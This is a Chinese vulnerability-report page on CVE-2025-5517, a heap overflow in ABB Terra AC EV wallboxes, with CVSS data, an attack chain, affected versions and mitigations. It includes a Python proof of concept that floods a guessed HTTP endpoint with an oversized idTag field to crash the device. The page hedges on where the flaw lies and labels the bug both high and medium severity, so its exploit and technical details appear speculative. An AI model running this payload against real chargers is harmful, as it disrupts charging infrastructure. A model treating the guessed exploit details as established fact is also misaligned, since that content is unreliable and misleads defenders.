IPBUF安全漏洞报告
English
CVE-2025-5517 CVSS 6.8 中危

CVE-2025-5517 ABB Terra AC壁挂式充电桩堆缓冲区溢出漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-5517
漏洞类型
堆缓冲区溢出 (Heap-based Buffer Overflow)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ABB Terra AC wallbox (UL40/80A、UL32A、MID/CE、MID/CE-Terra AC Juno CE、MID/CE-Terra AC PTB、JP)

相关标签

堆缓冲区溢出Heap-based Buffer OverflowABBTerra AC壁挂式充电桩电动汽车充电基础设施OCPP固件漏洞CVE-2025-5517关键基础设施

漏洞概述

CVE-2025-5517是ABB公司Terra AC系列壁挂式电动汽车充电桩中存在的一个堆缓冲区溢出(Heap-based Buffer Overflow)高危漏洞。该漏洞由ABB内部网络安全团队([email protected])发现并于2025年10月20日正式披露。根据CVSS 3.1评分体系,该漏洞评分为6.8分,属于中危级别,但其对机密性、完整性和可用性的影响均为高。

ABB Terra AC壁挂式充电桩是广泛应用于家庭、商业及公共场所的电动汽车充电设备,支持多种地区型号(包括北美UL40/80A、UL32A,欧洲MID/CE系列及日本JP型号)。该漏洞存在于这些设备的固件中,攻击者可以通过网络远程利用该漏洞,利用条件为低权限(PR:L),无需用户交互(UI:N),攻击复杂度较高(AC:H)。

由于该漏洞为堆缓冲区溢出类型,攻击者可能通过精心构造的输入数据,覆盖堆内存中的关键数据结构,从而实现任意代码执行、权限提升或拒绝服务攻击。对于充电桩这类关键基础设施设备,一旦被攻击者控制,可能导致充电服务中断、设备固件被篡改,甚至可能被用作进一步攻击内网的跳板,对电动汽车用户和充电网络运营方构成严重安全威胁。

技术细节

堆缓冲区溢出(Heap-based Buffer Overflow)是一种常见的内存安全漏洞,发生在程序向堆上分配的缓冲区写入数据时,未能正确检查写入数据的长度,导致数据溢出到相邻的堆内存区域。在ABB Terra AC壁挂式充电桩中,该漏洞可能存在于处理网络通信数据(如OCPP协议消息、HTTP请求或WebSocket帧)的代码路径中。

漏洞利用原理:攻击者作为低权限用户(可能通过已获取的合法凭证或弱认证机制)通过网络连接到充电桩的开放服务端口(如OCPP端口、Web管理端口或API端口),向存在漏洞的接口发送精心构造的超长数据包。当充电桩固件中的解析函数接收到该数据时,未对输入长度进行充分校验,将数据拷贝到预先分配的固定大小堆缓冲区中,导致超出缓冲区边界的数据覆盖相邻堆内存区域中的关键数据结构(如函数指针、堆管理元数据或其他对象)。

利用方式:攻击者可以通过以下步骤利用该漏洞:1)扫描暴露在网络中的ABB Terra AC充电桩设备;2)通过合法或弱认证机制获取低权限访问;3)构造触发缓冲区溢出的恶意数据包;4)利用堆溢出实现控制流劫持(如覆盖函数指针或虚函数表);5)执行任意代码或导致设备崩溃。由于攻击复杂度为高(AC:H),攻击者需要具备一定的内存布局知识,并可能需要绕过ASLR等内存保护机制。该漏洞的成功利用可能导致设备完全失控、数据泄露或被纳入僵尸网络进行DDoS攻击。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过网络扫描工具(如Shodan、Censys或Nmap)发现暴露在公网或内网中的ABB Terra AC壁挂式充电桩设备,识别其开放的服务端口(OCPP 80/443端口、Web管理端口等)。
STEP 2
步骤2:获取低权限访问
攻击者通过默认凭证、弱口令、固件中硬编码的认证密钥或已知的认证绕过漏洞,获取充电桩的低权限访问权限(CVSS向量中PR:L)。
STEP 3
步骤3:构造恶意载荷
攻击者分析固件中处理网络数据的代码路径,识别存在堆缓冲区溢出缺陷的解析函数,并构造包含超长字段的恶意数据包。
STEP 4
步骤4:触发堆缓冲区溢出
通过网络向充电桩发送精心构造的恶意数据包,由于固件未对输入长度进行充分校验,超长数据溢出堆缓冲区,覆盖相邻内存区域的关键数据结构。
STEP 5
步骤5:实现控制流劫持
攻击者利用堆溢出覆盖函数指针、虚函数表或堆管理元数据,劫持程序执行控制流,可能实现任意代码执行或权限提升。
STEP 6
步骤6:影响充电桩安全
成功利用后,攻击者可导致设备拒绝服务(充电服务中断)、篡改固件(植入后门)、窃取用户数据或利用设备作为内网渗透的跳板,对机密性、完整性和可用性造成严重影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-5517 - ABB Terra AC Wallbox Heap-based Buffer Overflow PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use against systems you do not own is illegal. import socket import struct import sys TARGET_HOST = "192.168.1.100" # Replace with target ABB Terra AC wallbox IP TARGET_PORT = 80 # Common management/web port BUFFER_SIZE = 8192 # Oversized payload to trigger heap overflow def build_malicious_payload(): """ Build a malformed HTTP/OCPP request with an oversized field to trigger heap-based buffer overflow in the wallbox firmware. """ # Normal HTTP POST header header = b"POST /api/v1/charging HTTP/1.1\r\n" header += b"Host: " + TARGET_HOST.encode() + b"\r\n" header += b"Content-Type: application/json\r\n" header += b"Content-Length: " + str(BUFFER_SIZE).encode() + b"\r\n" header += b"Connection: keep-alive\r\n" header += b"\r\n" # Malicious oversized JSON body with a long string field # This may overflow the heap buffer allocated for parsing the parameter payload = b'{"idTag":"' + b'A' * BUFFER_SIZE + b'","connectorId":1}' return header + payload def exploit(): print(f"[*] Targeting ABB Terra AC Wallbox at {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") payload = build_malicious_payload() sock.send(payload) print(f"[+] Sent {len(payload)} bytes of malicious payload") try: response = sock.recv(4096) print(f"[*] Response: {response[:200]}") except socket.timeout: print("[!] No response - device may have crashed (DoS confirmed)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

ABB Terra AC wallbox (UL40/80A) <= 1.8.32
ABB Terra AC wallbox (UL32A) <= 1.8.2
ABB Terra AC wallbox (MID/CE) - Terra AC MID <= 1.8.32
ABB Terra AC wallbox (MID/CE) - Terra AC Juno CE <= 1.8.32
ABB Terra AC wallbox (MID/CE) - Terra AC PTB <= 1.8.21
ABB Terra AC wallbox (JP) <= 1.8.2

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议采取以下临时缓解措施:1)将ABB Terra AC壁挂式充电桩从公网隔离,部署在受防火墙保护的内网中,限制仅允许可信IP地址访问;2)关闭不必要的网络服务端口,仅保留业务必需的OCPP通信端口;3)为管理界面和API接口设置强密码,并启用多因素认证(若支持);4)部署网络监控设备,对进出充电桩的异常流量进行实时检测和告警;5)定期备份充电桩配置和日志,以便在遭受攻击后快速恢复;6)联系ABB技术支持获取临时的安全补丁或缓解建议。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表